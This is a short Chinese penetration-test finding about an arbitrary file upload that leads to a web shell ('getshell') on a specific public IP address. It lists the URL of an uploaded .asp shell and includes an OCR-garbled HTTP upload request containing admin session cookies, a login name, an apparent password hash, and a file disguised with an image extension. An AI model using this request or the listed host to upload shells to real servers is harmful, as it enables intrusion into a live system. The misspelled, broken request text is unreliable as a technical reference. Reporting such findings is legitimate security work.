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（1） 高风险漏洞
1. 漏洞类型：任意文件上传getshell
1.1 漏洞情况：任意文件上传getshell
1.2 验证结果：已验证
验证地址或请求：
http://61.187.187.205:8066/
http://61.187.187.205:8166/CloudSpaces/ZD/Workflow/TaskBusiness/Form/d8158c3e-1c28-4ee4-9896-baae175d5c01.asp
1.3 验证截图：
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Referer: http://61.187. 157.205:8168/Modules/Devel opllanages/FBDesi guers/Forns/ con/uploadtenplate. htn

Accept-Encoding: grip, deflate

[Accept-Language: zh-Cll zh: 4=0.8

Cookia: ASPSESSTONIDGSTTSSBELCLILEEHGDPKFIFKLLINNE: ASP. IET Secsi onlderpadjkbsSenkzsqneacdpklv: iclogined=l; tenantI]
[LoginDsplianc=adnin: LoginPud=el0ade3 9ba50abbe58e0ST £20083e  LoginPage=Nebll/Index. htnl; Flovtokens: loginLang=ch

D: Toginhccount=adnin:

6bKi tFormBoundary VEqFGITIASTOUNSFE
(Content-Disposition: forn-data; nane="attachnents[1”; filenane="inccasp. jpe”





